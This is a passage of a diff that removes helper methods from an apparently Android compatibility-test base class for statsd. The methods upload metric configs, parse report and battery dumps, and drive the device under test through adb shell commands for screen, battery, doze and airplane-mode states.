-          .addAllowedLogSource("AID_ROOT")
-          .addAllowedLogSource("AID_STATSD")
-          .addAllowedLogSource("com.android.systemui")
-          .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
-          .addDefaultPullPackages("AID_RADIO")
-          .addDefaultPullPackages("AID_SYSTEM")
-          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
-    }
-
-    protected void createAndUploadConfig(int atomTag) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag);
-        uploadConfig(conf);
-    }
-
-    protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
-        uploadConfig(config.build());
-    }
-
-    protected void uploadConfig(StatsdConfig config) throws Exception {
-        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
-        File configFile = File.createTempFile("statsdconfig", ".config");
-        configFile.deleteOnExit();
-        Files.write(config.toByteArray(), configFile);
-        String remotePath = "/data/local/tmp/" + configFile.getName();
-        getDevice().pushFile(configFile, remotePath);
-        getDevice().executeShellCommand(
-                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
-                        String.valueOf(CONFIG_ID)));
-        getDevice().executeShellCommand("rm " + remotePath);
-    }
-
-    protected void removeConfig(long configId) throws Exception {
-        getDevice().executeShellCommand(
-                String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
-    }
-
-    /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
-    protected List<EventMetricData> getEventMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        return getEventMetricDataList(reportList);
-    }
-
-    /**
-     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
-     */
-    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
-            ConfigMetricsReportList configMetricsReportList) {
-        return configMetricsReportList.getReportsList().stream()
-                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
-                .collect(Collectors.toList());
-    }
-
-    /**
-     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
-     */
-    protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
-            throws Exception {
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<EventMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
-        }
-        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
-
-        LogUtil.CLog.d("Get EventMetricDataList as following:\n");
-        for (EventMetricData d : data) {
-            LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
-        }
-        return data;
-    }
-
-    protected List<Atom> getGaugeMetricDataList() throws Exception {
-        return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
-    }
-
-    protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-
-        // only config
-        ConfigMetricsReport report = reportList.getReports(0);
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-
-        List<Atom> data = new ArrayList<>();
-        for (GaugeMetricData gaugeMetricData :
-                report.getMetrics(0).getGaugeMetrics().getDataList()) {
-            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
-            GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
-            for (Atom atom : bucketInfo.getAtomList()) {
-                data.add(atom);
-            }
-            if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
-                    assertTimestampIsTruncated(timestampNs);
-                }
-            }
-        }
-
-        LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
-        for (Atom d : data) {
-            LogUtil.CLog.d("Atom:\n" + d.toString());
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract duration metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<DurationMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getDurationMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
-        for (DurationMetricData d : data) {
-            LogUtil.CLog.d("Duration " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract count metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<CountMetricData> getCountMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<CountMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getCountMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got CountMetricDataList as following:\n");
-        for (CountMetricData d : data) {
-            LogUtil.CLog.d("Count " + d);
-        }
-        return data;
-    }
-
-    /**
-     * Gets the statsd report and extract value metric data.
-     * Note that this also deletes that report from statsd.
-     */
-    protected List<ValueMetricData> getValueMetricDataList() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        ConfigMetricsReport report = reportList.getReports(0);
-
-        List<ValueMetricData> data = new ArrayList<>();
-        for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getValueMetrics().getDataList());
-        }
-
-        LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
-        for (ValueMetricData d : data) {
-            LogUtil.CLog.d("Value " + d);
-        }
-        return data;
-    }
-
-    protected StatsLogReport getStatsLogReport() throws Exception {
-        ConfigMetricsReport report = getConfigMetricsReport();
-        assertThat(report.hasUidMap()).isTrue();
-        assertThat(report.getMetricsCount()).isEqualTo(1);
-        return report.getMetrics(0);
-    }
-
-    protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
-        ConfigMetricsReportList reportList = getReportList();
-        assertThat(reportList.getReportsCount()).isEqualTo(1);
-        return reportList.getReports(0);
-    }
-
-    /** Gets the statsd report. Note that this also deletes that report from statsd. */
-    protected ConfigMetricsReportList getReportList() throws Exception {
-        try {
-            ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
-                    String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
-                            "--include_current_bucket", "--proto"));
-            return reportList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
-                    + "Perhaps there is not a valid statsd config for the requested "
-                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
-            throw (e);
-        }
-    }
-
-    protected BatteryStatsProto getBatteryStatsProto() throws Exception {
-        try {
-            BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERYSTATS_CMD,
-                            "--proto")).getBatterystats();
-            LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
-            return batteryStatsProto;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batterystats proto");
-            throw (e);
-        }
-    }
-
-    /** Gets reports from the statsd data incident section from the stats dumpsys. */
-    protected List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
-        try {
-            StatsDataDumpProto statsProto = getDump(StatsDataDumpProto.parser(),
-                    String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
-            // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
-            List<ConfigMetricsReportList> reports
-                    = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
-            for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
-                reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
-            }
-            LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
-            return reports;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dumpsys stats proto");
-            throw (e);
-        }
-    }
-
-    protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
-        try {
-
-            List<ProcessStatsProto> processStatsProtoList =
-                new ArrayList<ProcessStatsProto>();
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsNow();
-            for (android.service.procstats.ProcessStatsProto stats :
-                    sectionProto.getProcessStatsList()) {
-                ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
-                    stats.toByteArray());
-                processStatsProtoList.add(procStats);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all procstats package data in proto
-     */
-    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    ProcessStatsServiceDumpProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--proto")).getProcstatsOver24Hrs();
-            List<ProcessStatsPackageProto> processStatsProtoList =
-                new ArrayList<ProcessStatsPackageProto>();
-            for (android.service.procstats.ProcessStatsPackageProto pkgStast :
-                sectionProto.getPackageStatsList()) {
-              ProcessStatsPackageProto pkgAtom =
-                  ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
-                processStatsProtoList.add(pkgAtom);
-            }
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    /*
-     * Get all processes' procstats statsd data in proto
-     */
-    protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
-            throws Exception {
-        try {
-            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
-                    android.service.procstats.ProcessStatsSectionProto.parser(),
-                    String.join(" ", DUMP_PROCSTATS_CMD,
-                            "--statsd"));
-            List<android.service.procstats.ProcessStatsProto> processStatsProtoList
-                    = sectionProto.getProcessStatsList();
-            LogUtil.CLog.d("Got procstats:\n ");
-            for (android.service.procstats.ProcessStatsProto processStatsProto
-                    : processStatsProtoList) {
-                LogUtil.CLog.d(processStatsProto.toString());
-            }
-            return processStatsProtoList;
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump procstats proto");
-            throw (e);
-        }
-    }
-
-    protected boolean hasBattery() throws Exception {
-        try {
-            BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
-                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
-            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
-            return batteryProto.getIsPresent();
-        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
-            LogUtil.CLog.e("Failed to dump batteryservice proto");
-            throw (e);
-        }
-    }
-
-    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
-    protected static FieldValueMatcher.Builder createFvm(int field) {
-        return FieldValueMatcher.newBuilder().setField(field);
-    }
-
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
-        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key.
-     *
-     * @param conf    configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm     FieldValueMatcher.Builder for the relevant key
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            FieldValueMatcher.Builder fvm)
-            throws Exception {
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given keys.
-     *
-     * @param conf   configuration
-     * @param atomId atom tag (from atoms.proto)
-     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
-            List<FieldValueMatcher.Builder> fvms) throws Exception {
-
-        final String atomName = "Atom" + System.nanoTime();
-        final String eventName = "Event" + System.nanoTime();
-
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        if (fvms != null) {
-            for (FieldValueMatcher.Builder fvm : fvms) {
-                sam.addFieldValueMatcher(fvm);
-            }
-        }
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        conf.addEventMetric(EventMetric.newBuilder()
-                .setId(eventName.hashCode())
-                .setWhat(atomName.hashCode()));
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf        configuration
-     * @param atomId      atom id (from atoms.proto)
-     * @param gaugeMetric the gauge metric to add
-     */
-    protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
-            GaugeMetric.Builder gaugeMetric) throws Exception {
-        final String atomName = "Atom" + System.nanoTime();
-        final String gaugeName = "Gauge" + System.nanoTime();
-        final String predicateName = "APP_BREADCRUMB";
-        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(atomName.hashCode())
-                .setSimpleAtomMatcher(sam));
-        final String predicateTrueName = "APP_BREADCRUMB_1";
-        final String predicateFalseName = "APP_BREADCRUMB_2";
-        conf.addAtomMatcher(AtomMatcher.newBuilder()
-                .setId(predicateTrueName.hashCode())
-                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                .setEqInt(1)
-                        )
-                )
-        )
-                // Used to trigger predicate
-                .addAtomMatcher(AtomMatcher.newBuilder()
-                        .setId(predicateFalseName.hashCode())
-                        .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
-                                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
-                                .addFieldValueMatcher(FieldValueMatcher.newBuilder()
-                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                                        .setEqInt(2)
-                                )
-                        )
-                );
-        conf.addPredicate(Predicate.newBuilder()
-                .setId(predicateName.hashCode())
-                .setSimplePredicate(SimplePredicate.newBuilder()
-                        .setStart(predicateTrueName.hashCode())
-                        .setStop(predicateFalseName.hashCode())
-                        .setCountNesting(false)
-                )
-        );
-        gaugeMetric
-                .setId(gaugeName.hashCode())
-                .setWhat(atomName.hashCode())
-                .setCondition(predicateName.hashCode());
-        conf.addGaugeMetric(gaugeMetric.build());
-    }
-
-    /**
-     * Adds an atom to a gauge metric of a config
-     *
-     * @param conf      configuration
-     * @param atomId    atom id (from atoms.proto)
-     * @param dimension dimension is needed for most pulled atoms
-     */
-    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
-            @Nullable FieldMatcher.Builder dimension) throws Exception {
-        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
-                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
-                .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
-                .setMaxNumGaugeAtomsPerBucket(10000)
-                .setBucket(TimeUnit.CTS);
-        if (dimension != null) {
-            gaugeMetric.setDimensionsInWhat(dimension.build());
-        }
-        addGaugeAtom(conf, atomId, gaugeMetric);
-    }
-
-    /**
-     * Asserts that each set of states in stateSets occurs at least once in data.
-     * Asserts that the states in data occur in the same order as the sets in stateSets.
-     *
-     * @param stateSets        A list of set of states, where each set represents an equivalent
-     *                         state of the device for the purpose of CTS.
-     * @param data             list of EventMetricData from statsd, produced by
-     *                         getReportMetricListData()
-     * @param wait             expected duration (in ms) between state changes; asserts that the
-     *                         actual wait
-     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
-     *                         assertion.
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
-            int wait, Function<Atom, Integer> getStateFromAtom) {
-        // Sometimes, there are more events than there are states.
-        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
-        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
-        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
-        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
-            Atom atom = data.get(dataIndex).getAtom();
-            int state = getStateFromAtom.apply(atom);
-            // If state is in the current state set, we do not assert anything.
-            // If it is not, we expect to have transitioned to the next state set.
-            if (stateSets.get(stateSetIndex).contains(state)) {
-                // No need to assert anything. Just log it.
-                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
-                        + "in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-            } else {
-                stateSetIndex += 1;
-                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
-                        + " in stateSetIndex " + stateSetIndex + ":\n"
-                        + data.get(dataIndex).getAtom().toString());
-                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
-                assertWithMessage("Too many states").that(stateSetIndex)
-                    .isLessThan(stateSets.size());
-                assertWithMessage(String.format("Is in wrong state (%d)", state))
-                    .that(stateSets.get(stateSetIndex)).contains(state);
-                if (wait > 0) {
-                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
-                            wait / 2, wait * 5);
-                }
-            }
-        }
-        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
-    }
-
-    /**
-     * Removes all elements from data prior to the first occurrence of an element of state. After
-     * this method is called, the first element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
-            Function<Atom, Integer> getStateFromAtom) {
-        int firstStateIdx;
-        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
-            Atom atom = data.get(firstStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (firstStateIdx == 0) {
-            // First first element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(0, firstStateIdx).clear();
-    }
-
-    /**
-     * Removes all elements from data after to the last occurrence of an element of state. After
-     * this method is called, the last element of data (if non-empty) is guaranteed to be an
-     * element in state.
-     *
-     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
-     */
-    public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
-        Function<Atom, Integer> getStateFromAtom) {
-        int lastStateIdx;
-        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
-            Atom atom = data.get(lastStateIdx).getAtom();
-            if (state.contains(getStateFromAtom.apply(atom))) {
-                break;
-            }
-        }
-        if (lastStateIdx == data.size()-1) {
-            // Last element already is in state, so there's nothing to do.
-            return;
-        }
-        data.subList(lastStateIdx+1, data.size()).clear();
-    }
-
-    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
-    protected int getHostUid() throws DeviceNotAvailableException {
-        String strUid = "";
-        try {
-            strUid = getDevice().executeShellCommand("id -u");
-            return Integer.parseInt(strUid.trim());
-        } catch (NumberFormatException e) {
-            LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
-            // Fall back to alternative method...
-            if (getDevice().isAdbRoot()) {
-                return 0; // ROOT
-            } else {
-                return 2000; // SHELL
-            }
-        }
-    }
-
-    protected String getProperty(String prop) throws Exception {
-        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
-    }
-
-    protected void turnScreenOn() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("wm dismiss-keyguard");
-    }
-
-    protected void turnScreenOff() throws Exception {
-        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
-    }
-
-    protected void setChargingState(int state) throws Exception {
-        getDevice().executeShellCommand("cmd battery set status " + state);
-    }
-
-    protected void unplugDevice() throws Exception {
-        // On batteryless devices on Android P or above, the 'unplug' command
-        // alone does not simulate the really unplugged state.
-        //
-        // This is because charging state is left as "unknown". Unless a valid
-        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
-        // framework does not consider the device as running on battery.
-        setChargingState(3);
-
-        getDevice().executeShellCommand("cmd battery unplug");
-    }
-
-    protected void plugInAc() throws Exception {
-        getDevice().executeShellCommand("cmd battery set ac 1");
-    }
-
-    protected void plugInUsb() throws Exception {
-        getDevice().executeShellCommand("cmd battery set usb 1");
-    }
-
-    protected void plugInWireless() throws Exception {
-        getDevice().executeShellCommand("cmd battery set wireless 1");
-    }
-
-    protected void enableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-    }
-
-    protected void resetLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void disableLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    protected void enableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
-    }
-
-    protected void resetBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
-    }
-
-    protected void disableBinderStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
-    }
-
-    protected void binderStatsNoSampling() throws Exception {
-        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
-    }
-
-    protected void setUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats enable");
-        getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
-        getDevice().executeShellCommand("cmd looper_stats reset");
-    }
-
-    protected void cleanUpLooperStats() throws Exception {
-        getDevice().executeShellCommand("cmd looper_stats disable");
-    }
-
-    public void setAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(1);
-    }
-
-    public void clearAppBreadcrumbPredicate() throws Exception {
-        doAppBreadcrumbReportedStart(2);
-    }
-
-    public void doAppBreadcrumbReportedStart(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
-    }
-
-    public void doAppBreadcrumbReportedStop(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label) throws Exception {
-        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
-    }
-
-    public void doAppBreadcrumbReported(int label, int state) throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd stats log-app-breadcrumb %d %d", label, state));
-    }
-
-    protected void setBatteryLevel(int level) throws Exception {
-        getDevice().executeShellCommand("cmd battery set level " + level);
-    }
-
-    protected void resetBatteryStatus() throws Exception {
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected int getScreenBrightness() throws Exception {
-        return Integer.parseInt(
-                getDevice().executeShellCommand("settings get system screen_brightness").trim());
-    }
-
-    protected void setScreenBrightness(int brightness) throws Exception {
-        getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
-    }
-
-    // Gets whether "Always on Display" setting is enabled.
-    // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
-    protected String getAodState() throws Exception {
-        return getDevice().executeShellCommand("settings get secure doze_always_on");
-    }
-
-    protected void setAodState(String state) throws Exception {
-        getDevice().executeShellCommand("settings put secure doze_always_on " + state);
-    }
-
-    protected boolean isScreenBrightnessModeManual() throws Exception {
-        String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
-        return Integer.parseInt(mode.trim()) == 0;
-    }
-
-    protected void setScreenBrightnessMode(boolean manual) throws Exception {
-        getDevice().executeShellCommand(
-                "settings put system screen_brightness_mode " + (manual ? 0 : 1));
-    }
-
-    protected void enterDozeModeLight() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
-    }
-
-    protected void enterDozeModeDeep() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
-    }
-
-    protected void leaveDozeMode() throws Exception {
-        getDevice().executeShellCommand("dumpsys deviceidle unforce");
-        getDevice().executeShellCommand("dumpsys deviceidle disable");
-        getDevice().executeShellCommand("dumpsys deviceidle enable");
-    }
-
-    protected void turnBatterySaverOn() throws Exception {
-        unplugDevice();
-        getDevice().executeShellCommand("settings put global low_power 1");
-    }
-
-    protected void turnBatterySaverOff() throws Exception {
-        getDevice().executeShellCommand("settings put global low_power 0");
-        getDevice().executeShellCommand("cmd battery reset");
-    }
-
-    protected void rebootDevice() throws Exception {
-        getDevice().rebootUntilOnline();
-    }
-
-    /**
-     * Asserts that the two events are within the specified range of each other.
-     *
-     * @param d0        the event that should occur first
-     * @param d1        the event that should occur second
-     * @param minDiffMs d0 should precede d1 by at least this amount
-     * @param maxDiffMs d0 should precede d1 by at most this amount
-     */
-    public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
-            int minDiffMs, int maxDiffMs) {
-        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
-        assertWithMessage("Illegal time difference")
-            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
-    }
-
-    protected String getCurrentLogcatDate() throws Exception {
-        // TODO: Do something more robust than this for getting logcat markers.
-        long timestampMs = getDevice().getDeviceDate();
-        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
-                .format(new Date(timestampMs));
-    }
-
-    protected String getLogcatSince(String date, String logcatParams) throws Exception {
-        return getDevice().executeShellCommand(String.format(
-                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
-    }
-
-    // TODO: Remove this and migrate all usages to createConfigBuilder()
-    protected StatsdConfig.Builder getPulledConfig() {
-        return createConfigBuilder();
-    }
-    /**
-     * Determines if the device has the given feature.
-     * Prints a warning if its value differs from requiredAnswer.
-     */
-    protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
-        final String features = getDevice().executeShellCommand("pm list features");
-        boolean hasIt = features.contains(featureName);
-        if (hasIt != requiredAnswer) {
-            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
-                    + featureName);
-        }
-        return hasIt == requiredAnswer;
-    }
-
-    /**
-     * Determines if the device has |file|.
-     */
-    protected boolean doesFileExist(String file) throws Exception {
-        return getDevice().doesFileExist(file);
-    }
-
-    protected void turnOnAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
-    }
-
-    protected void turnOffAirplaneMode() throws Exception {
-        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
-    }
-
-    /**
-     * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
-     * output.
-     *
-     * <p>Telephony dumpsys output does not support proto at the moment. This method provides
-     * limited support for parsing its output. Specifically, it does not support arrays or
-     * multi-line values.
-     */
-    private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
-        // Matches any line with indentation, except for lines with only spaces
-        Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
-        // Matches pattern for class, e.g. "    Phone:"
-        Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
-        // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
-        Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
-        String response =
-                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
-        Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
-
-        List<Map<String, String>> results = new ArrayList<>();
-        while (responseLines.peek() != null) {
-            Matcher matcher = classNamePattern.matcher(responseLines.poll());
-            if (matcher.matches()) {
-                final int classIndentLevel = matcher.group(1).length();
-                final Map<String, String> instanceEntries = new HashMap<>();
-                while (responseLines.peek() != null) {
-                    // Skip blank lines
-                    matcher = indentPattern.matcher(responseLines.peek());
-                    if (responseLines.peek().length() == 0 || !matcher.matches()) {
-                        responseLines.poll();
-                        continue;
-                    }
-                    // Finish (without consuming the line) if already parsed past this instance
-                    final int indentLevel = matcher.group(1).length();
-                    if (indentLevel <= classIndentLevel) {
-                        break;
-                    }
-                    // Parse key-value pair if it belongs to the instance directly
-                    matcher = keyValuePattern.matcher(responseLines.poll());
-                    if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
-                        instanceEntries.put(matcher.group(2), matcher.group(3));
-                    }
-                }
-                results.add(instanceEntries);
-            }
-        }
-        return results;
-    }
-
-    protected int getActiveSimSlotCount() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
